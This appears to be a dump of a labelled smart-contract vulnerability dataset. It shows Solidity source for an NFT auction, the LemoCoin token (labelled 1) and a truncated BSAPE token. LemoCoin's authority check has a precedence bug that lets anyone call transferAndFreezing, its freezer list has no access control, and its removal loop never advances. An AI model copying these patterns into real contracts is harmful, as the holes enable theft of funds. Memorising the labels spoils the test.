source_codes
stringlengths 72
205k
| labels
int64 0
1
| __index_level_0__
int64 0
5.56k
|
---|---|---|
pragma solidity ^0.4.21;
contract ERC721 {
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address previousOwner, address newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract StorageBase is Ownable {
function withdrawBalance() external onlyOwner returns (bool) {
bool res = msg.sender.send(address(this).balance);
return res;
}
}
contract ClockAuctionStorage is StorageBase {
struct Auction {
address seller;
uint128 startingPrice;
uint128 endingPrice;
uint64 duration;
uint64 startedAt;
}
mapping (uint256 => Auction) tokenIdToAuction;
function addAuction(
uint256 _tokenId,
address _seller,
uint128 _startingPrice,
uint128 _endingPrice,
uint64 _duration,
uint64 _startedAt
)
external
onlyOwner
{
tokenIdToAuction[_tokenId] = Auction(
_seller,
_startingPrice,
_endingPrice,
_duration,
_startedAt
);
}
function removeAuction(uint256 _tokenId) public onlyOwner {
delete tokenIdToAuction[_tokenId];
}
function getAuction(uint256 _tokenId)
external
view
returns (
address seller,
uint128 startingPrice,
uint128 endingPrice,
uint64 duration,
uint64 startedAt
)
{
Auction storage auction = tokenIdToAuction[_tokenId];
return (
auction.seller,
auction.startingPrice,
auction.endingPrice,
auction.duration,
auction.startedAt
);
}
function isOnAuction(uint256 _tokenId) external view returns (bool) {
return (tokenIdToAuction[_tokenId].startedAt > 0);
}
function getSeller(uint256 _tokenId) external view returns (address) {
return tokenIdToAuction[_tokenId].seller;
}
function transfer(ERC721 _nonFungibleContract, address _receiver, uint256 _tokenId) external onlyOwner {
_nonFungibleContract.transfer(_receiver, _tokenId);
}
}
contract SiringClockAuctionStorage is ClockAuctionStorage {
bool public isSiringClockAuctionStorage = true;
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract HasNoContracts is Pausable {
function reclaimContract(address _contractAddr) external onlyOwner whenPaused {
Ownable contractInst = Ownable(_contractAddr);
contractInst.transferOwnership(owner);
}
}
contract LogicBase is HasNoContracts {
bytes4 constant InterfaceSignature_NFC = bytes4(0x9f40b779);
ERC721 public nonFungibleContract;
StorageBase public storageContract;
function LogicBase(address _nftAddress, address _storageAddress) public {
paused = true;
setNFTAddress(_nftAddress);
require(_storageAddress != address(0));
storageContract = StorageBase(_storageAddress);
}
function destroy() external onlyOwner whenPaused {
address storageOwner = storageContract.owner();
require(storageOwner != address(this));
selfdestruct(owner);
}
function destroyAndSendToStorageOwner() external onlyOwner whenPaused {
address storageOwner = storageContract.owner();
require(storageOwner != address(this));
selfdestruct(storageOwner);
}
function unpause() public onlyOwner whenPaused {
require(nonFungibleContract != address(0));
require(storageContract != address(0));
require(storageContract.owner() == address(this));
super.unpause();
}
function setNFTAddress(address _nftAddress) public onlyOwner {
require(_nftAddress != address(0));
ERC721 candidateContract = ERC721(_nftAddress);
require(candidateContract.supportsInterface(InterfaceSignature_NFC));
nonFungibleContract = candidateContract;
}
function withdrawBalance() external returns (bool) {
address nftAddress = address(nonFungibleContract);
require(msg.sender == owner || msg.sender == nftAddress);
bool res = nftAddress.send(address(this).balance);
return res;
}
function withdrawBalanceFromStorageContract() external returns (bool) {
address nftAddress = address(nonFungibleContract);
require(msg.sender == owner || msg.sender == nftAddress);
bool res = storageContract.withdrawBalance();
return res;
}
}
contract ClockAuction is LogicBase {
ClockAuctionStorage public clockAuctionStorage;
uint256 public ownerCut;
uint256 public minCutValue;
event AuctionCreated(uint256 tokenId, uint256 startingPrice, uint256 endingPrice, uint256 duration);
event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner, address seller, uint256 sellerProceeds);
event AuctionCancelled(uint256 tokenId);
function ClockAuction(address _nftAddress, address _storageAddress, uint256 _cut, uint256 _minCutValue)
LogicBase(_nftAddress, _storageAddress) public
{
setOwnerCut(_cut);
setMinCutValue(_minCutValue);
clockAuctionStorage = ClockAuctionStorage(_storageAddress);
}
function setOwnerCut(uint256 _cut) public onlyOwner {
require(_cut <= 10000);
ownerCut = _cut;
}
function setMinCutValue(uint256 _minCutValue) public onlyOwner {
minCutValue = _minCutValue;
}
function getMinPrice() public view returns (uint256) {
return minCutValue;
}
function isValidPrice(uint256 _startingPrice, uint256 _endingPrice) public view returns (bool) {
return (_startingPrice < _endingPrice ? _startingPrice : _endingPrice) >= getMinPrice();
}
function createAuction(
uint256 _tokenId,
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
address _seller
)
public
whenNotPaused
{
require(_startingPrice == uint256(uint128(_startingPrice)));
require(_endingPrice == uint256(uint128(_endingPrice)));
require(_duration == uint256(uint64(_duration)));
require(msg.sender == address(nonFungibleContract));
nonFungibleContract.transferFrom(_seller, address(clockAuctionStorage), _tokenId);
require(_duration >= 1 minutes);
clockAuctionStorage.addAuction(
_tokenId,
_seller,
uint128(_startingPrice),
uint128(_endingPrice),
uint64(_duration),
uint64(now)
);
emit AuctionCreated(_tokenId, _startingPrice, _endingPrice, _duration);
}
function cancelAuction(uint256 _tokenId) external {
require(clockAuctionStorage.isOnAuction(_tokenId));
address seller = clockAuctionStorage.getSeller(_tokenId);
require(msg.sender == seller);
_cancelAuction(_tokenId, seller);
}
function cancelAuctionWhenPaused(uint256 _tokenId) external whenPaused onlyOwner {
require(clockAuctionStorage.isOnAuction(_tokenId));
address seller = clockAuctionStorage.getSeller(_tokenId);
_cancelAuction(_tokenId, seller);
}
function getAuction(uint256 _tokenId)
public
view
returns
(
address seller,
uint256 startingPrice,
uint256 endingPrice,
uint256 duration,
uint256 startedAt
) {
require(clockAuctionStorage.isOnAuction(_tokenId));
return clockAuctionStorage.getAuction(_tokenId);
}
function getCurrentPrice(uint256 _tokenId)
external
view
returns (uint256)
{
require(clockAuctionStorage.isOnAuction(_tokenId));
return _currentPrice(_tokenId);
}
function _cancelAuction(uint256 _tokenId, address _seller) internal {
clockAuctionStorage.removeAuction(_tokenId);
clockAuctionStorage.transfer(nonFungibleContract, _seller, _tokenId);
emit AuctionCancelled(_tokenId);
}
function _bid(uint256 _tokenId, uint256 _bidAmount, address bidder) internal returns (uint256) {
require(clockAuctionStorage.isOnAuction(_tokenId));
uint256 price = _currentPrice(_tokenId);
require(_bidAmount >= price);
address seller = clockAuctionStorage.getSeller(_tokenId);
uint256 sellerProceeds = 0;
clockAuctionStorage.removeAuction(_tokenId);
if (price > 0) {
uint256 auctioneerCut = _computeCut(price);
sellerProceeds = price - auctioneerCut;
seller.transfer(sellerProceeds);
}
uint256 bidExcess = _bidAmount - price;
bidder.transfer(bidExcess);
emit AuctionSuccessful(_tokenId, price, bidder, seller, sellerProceeds);
return price;
}
function _currentPrice(uint256 _tokenId) internal view returns (uint256) {
uint256 secondsPassed = 0;
address seller;
uint128 startingPrice;
uint128 endingPrice;
uint64 duration;
uint64 startedAt;
(seller, startingPrice, endingPrice, duration, startedAt) = clockAuctionStorage.getAuction(_tokenId);
if (now > startedAt) {
secondsPassed = now - startedAt;
}
return _computeCurrentPrice(
startingPrice,
endingPrice,
duration,
secondsPassed
);
}
function _computeCurrentPrice(
uint256 _startingPrice,
uint256 _endingPrice,
uint256 _duration,
uint256 _secondsPassed
)
internal
pure
returns (uint256)
{
if (_secondsPassed >= _duration) {
return _endingPrice;
} else {
int256 totalPriceChange = int256(_endingPrice) - int256(_startingPrice);
int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration);
int256 currentPrice = int256(_startingPrice) + currentPriceChange;
return uint256(currentPrice);
}
}
function _computeCut(uint256 _price) internal view returns (uint256) {
uint256 cutValue = _price * ownerCut / 10000;
if (_price < minCutValue) return cutValue;
if (cutValue > minCutValue) return cutValue;
return minCutValue;
}
}
contract SiringClockAuction is ClockAuction {
bool public isSiringClockAuction = true;
function SiringClockAuction(address _nftAddr, address _storageAddress, uint256 _cut, uint256 _minCutValue)
ClockAuction(_nftAddr, _storageAddress, _cut, _minCutValue) public
{
require(SiringClockAuctionStorage(_storageAddress).isSiringClockAuctionStorage());
}
function bid(uint256 _tokenId, address bidder) external payable {
require(msg.sender == address(nonFungibleContract));
address seller = clockAuctionStorage.getSeller(_tokenId);
_bid(_tokenId, msg.value, bidder);
clockAuctionStorage.transfer(nonFungibleContract, seller, _tokenId);
}
} | 0 | 2,451 |
pragma solidity ^0.4.18;
contract DSAuthority {
function canCall(
address src, address dst, bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
function DSAuth() public {
owner = msg.sender;
LogSetOwner(msg.sender);
}
function setOwner(address owner_)
public
auth
{
owner = owner_;
LogSetOwner(owner);
}
function setAuthority(DSAuthority authority_)
public
auth
{
authority = authority_;
LogSetAuthority(authority);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig));
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, this, sig);
}
}
}
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint wad,
bytes fax
) anonymous;
modifier note {
bytes32 foo;
bytes32 bar;
assembly {
foo := calldataload(4)
bar := calldataload(36)
}
LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data);
_;
}
}
contract DSStop is DSNote, DSAuth {
bool public stopped;
modifier stoppable {
require(!stopped);
_;
}
function stop() public auth note {
stopped = true;
}
function start() public auth note {
stopped = false;
}
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
}
contract ERC20 {
function totalSupply() constant public returns (uint256 supply);
function balanceOf(address _owner) constant public returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) constant public returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Coin is ERC20, DSStop {
string internal c_name;
string internal c_symbol;
uint8 internal c_decimals = 0;
uint256 internal c_totalSupply;
mapping(address => uint256) internal c_balances;
mapping(address => mapping(address => uint256)) internal c_approvals;
function init(uint256 total_lemos, string token_name, string token_symbol) internal {
c_balances[msg.sender] = total_lemos;
c_totalSupply = total_lemos;
c_name = token_name;
c_symbol = token_symbol;
}
function() public {
assert(false);
}
function name() constant public returns (string) {
return c_name;
}
function symbol() constant public returns (string) {
return c_symbol;
}
function decimals() constant public returns (uint8) {
return c_decimals;
}
function totalSupply() constant public returns (uint256) {
return c_totalSupply;
}
function balanceOf(address _owner) constant public returns (uint256) {
return c_balances[_owner];
}
function approve(address _spender, uint256 _value) public stoppable returns (bool) {
require(_value < c_totalSupply);
c_approvals[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return c_approvals[_owner][_spender];
}
}
contract FreezerAuthority is DSAuthority {
address[] internal c_freezers;
bytes4 constant setFreezingSig = bytes4(0x51c3b8a6);
bytes4 constant transferAndFreezingSig = bytes4(0xb8a1fdb6);
function canCall(address caller, address, bytes4 sig) public view returns (bool) {
if (isFreezer(caller) && sig == setFreezingSig || sig == transferAndFreezingSig) {
return true;
} else {
return false;
}
}
function addFreezer(address freezer) public {
int i = indexOf(c_freezers, freezer);
if (i < 0) {
c_freezers.push(freezer);
}
}
function removeFreezer(address freezer) public {
int index = indexOf(c_freezers, freezer);
if (index >= 0) {
uint i = uint(index);
while (i < c_freezers.length - 1) {
c_freezers[i] = c_freezers[i + 1];
}
c_freezers.length--;
}
}
function indexOf(address[] values, address value) internal pure returns (int) {
uint i = 0;
while (i < values.length) {
if (values[i] == value) {
return int(i);
}
i++;
}
return int(- 1);
}
function isFreezer(address addr) public constant returns (bool) {
return indexOf(c_freezers, addr) >= 0;
}
}
contract LemoCoin is Coin, DSMath {
enum freezing_type_enum {
FUND_RAISING_FREEZING,
VIP_FREEZING
}
struct FreezingNode {
uint end_stamp;
uint num_lemos;
freezing_type_enum freezing_type;
}
mapping(address => FreezingNode []) internal c_freezing_list;
function LemoCoin(uint256 total_lemos, string token_name, string token_symbol) public {
init(total_lemos, token_name, token_symbol);
setAuthority(new FreezerAuthority());
}
function addFreezer(address freezer) auth public {
FreezerAuthority(authority).addFreezer(freezer);
}
function removeFreezer(address freezer) auth public {
FreezerAuthority(authority).removeFreezer(freezer);
}
event ClearExpiredFreezingEvent(address addr);
event SetFreezingEvent(address addr, uint end_stamp, uint num_lemos, freezing_type_enum freezing_type);
function clearExpiredFreezing(address addr) public {
var nodes = c_freezing_list[addr];
uint length = nodes.length;
uint left = 0;
while (left < length) {
if (nodes[left].end_stamp <= block.timestamp) {
break;
}
left++;
}
uint right = left + 1;
while (left < length && right < length) {
if (nodes[right].end_stamp > block.timestamp) {
nodes[left] = nodes[right];
left++;
}
right++;
}
if (length != left) {
nodes.length = left;
ClearExpiredFreezingEvent(addr);
}
}
function validBalanceOf(address addr) constant public returns (uint) {
var nodes = c_freezing_list[addr];
uint length = nodes.length;
uint total_lemos = balanceOf(addr);
for (uint i = 0; i < length; ++i) {
if (nodes[i].end_stamp > block.timestamp) {
total_lemos = sub(total_lemos, nodes[i].num_lemos);
}
}
return total_lemos;
}
function freezingBalanceNumberOf(address addr) constant public returns (uint) {
return c_freezing_list[addr].length;
}
function freezingBalanceInfoOf(address addr, uint index) constant public returns (uint, uint, uint8) {
return (c_freezing_list[addr][index].end_stamp, c_freezing_list[addr][index].num_lemos, uint8(c_freezing_list[addr][index].freezing_type));
}
function setFreezing(address addr, uint end_stamp, uint num_lemos, uint8 freezing_type) auth stoppable public {
require(block.timestamp < end_stamp);
require(num_lemos < c_totalSupply);
clearExpiredFreezing(addr);
uint valid_balance = validBalanceOf(addr);
require(valid_balance >= num_lemos);
FreezingNode memory node = FreezingNode(end_stamp, num_lemos, freezing_type_enum(freezing_type));
c_freezing_list[addr].push(node);
SetFreezingEvent(addr, end_stamp, num_lemos, freezing_type_enum(freezing_type));
}
function transferAndFreezing(address _to, uint256 _value, uint256 freezeAmount, uint end_stamp, uint8 freezing_type) auth stoppable public returns (bool) {
require(_value < c_totalSupply);
require(freezeAmount <= _value);
transfer(_to, _value);
setFreezing(_to, end_stamp, freezeAmount, freezing_type);
return true;
}
function transfer(address _to, uint256 _value) stoppable public returns (bool) {
require(_value < c_totalSupply);
clearExpiredFreezing(msg.sender);
uint from_lemos = validBalanceOf(msg.sender);
require(from_lemos >= _value);
c_balances[msg.sender] = sub(c_balances[msg.sender], _value);
c_balances[_to] = add(c_balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) stoppable public returns (bool) {
require(_value < c_totalSupply);
require(c_approvals[_from][msg.sender] >= _value);
clearExpiredFreezing(_from);
uint from_lemos = validBalanceOf(_from);
require(from_lemos >= _value);
c_approvals[_from][msg.sender] = sub(c_approvals[_from][msg.sender], _value);
c_balances[_from] = sub(c_balances[_from], _value);
c_balances[_to] = add(c_balances[_to], _value);
Transfer(_from, _to, _value);
return true;
}
} | 1 | 5,292 |
pragma solidity ^0.8.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IConditional {
function passesTest(address wallet) external view returns (bool);
}
contract BSAPE is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
address payable public treasuryWallet =
payable(0xB6cE6712871B8FCcAF2a593C56680866442F29b3);
address public constant deadAddress =
0x000000000000000000000000000000000000dEaD;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isSniper;
address[] private _confirmedSnipers;
uint256 public rewardsClaimTimeSeconds = 60 * 60 * 6;
mapping(address => uint256) private _rewardsLastClaim;
mapping(address => bool) private _isExcludedFee;
mapping(address => bool) private _isExcludedReward;
address[] private _excluded;
string private constant _name = 'BABYSAFUAPE';
string private constant _symbol = 'BSAPE';
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public reflectionFee = 0;
uint256 private _previousReflectFee = reflectionFee;
uint256 public treasuryFee = 6;
uint256 private _previousTreasuryFee = treasuryFee;
uint256 public ethRewardsFee = 1;
uint256 private _previousETHRewardsFee = ethRewardsFee;
uint256 public ethRewardsBalance;
uint256 public buybackFee = 1;
uint256 private _previousBuybackFee = buybackFee;
address public buybackTokenAddress = 0x23464fb65ff1a8e7a9a1318Dfa56185a4950cF8B;
address public buybackReceiver = address(this);
uint256 public feeSellMultiplier = 2;
uint256 public feeRate = 10;
uint256 public launchTime;
uint256 public boostRewardsPercent = 50;
address public boostRewardsContract;
address public feeExclusionContract;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping(address => bool) private _isUniswapPair;
address private constant _uniswapRouterAddress =
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
bool private _inSwapAndLiquify;
bool private _isSelling;
bool private _tradingOpen = false;
bool private _isMaxBuyActivated = true;
uint256 public _maxTxAmount = _tTotal.mul(5).div(1000);
uint256 public _maxWalletSize = _tTotal.mul(2).div(100);
uint256 public _maximumBuyAmount = _tTotal.mul(3).div(1000);
event MaxTxAmountUpdated(uint256 _maxTxAmount);
event MaxWalletSizeUpdated(uint256 _maxWalletSize);
event SendETHRewards(address to, uint256 amountETH);
event SendTokenRewards(address to, address token, uint256 amount);
event SwapETHForTokens(address whereTo, uint256 amountIn, address[] path);
event SwapTokensForETH(uint256 amountIn, address[] path);
event SwapAndLiquify(
uint256 tokensSwappedForEth,
uint256 ethAddedForLp,
uint256 tokensAddedForLp
);
modifier lockTheSwap() {
_inSwapAndLiquify = true;
_;
_inSwapAndLiquify = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function initContract() external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
_uniswapRouterAddress
);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
address(this),
_uniswapV2Router.WETH()
);
uniswapV2Router = _uniswapV2Router;
_isExcludedFee[owner()] = true;
_isExcludedFee[address(this)] = true;
_isExcludedFee[treasuryWallet] = true;
}
function openTrading() external onlyOwner {
treasuryFee = _previousTreasuryFee;
ethRewardsFee = _previousETHRewardsFee;
reflectionFee = _previousReflectFee;
buybackFee = _previousBuybackFee;
_tradingOpen = true;
launchTime = block.timestamp;
}
function name() external pure returns (string memory) {
return _name;
}
function symbol() external pure returns (string memory) {
return _symbol;
}
function decimals() external pure returns (uint8) {
return _decimals;
}
function totalSupply() external pure override returns (uint256) {
return _tTotal;
}
function MaxTXAmount() external view returns (uint256) {
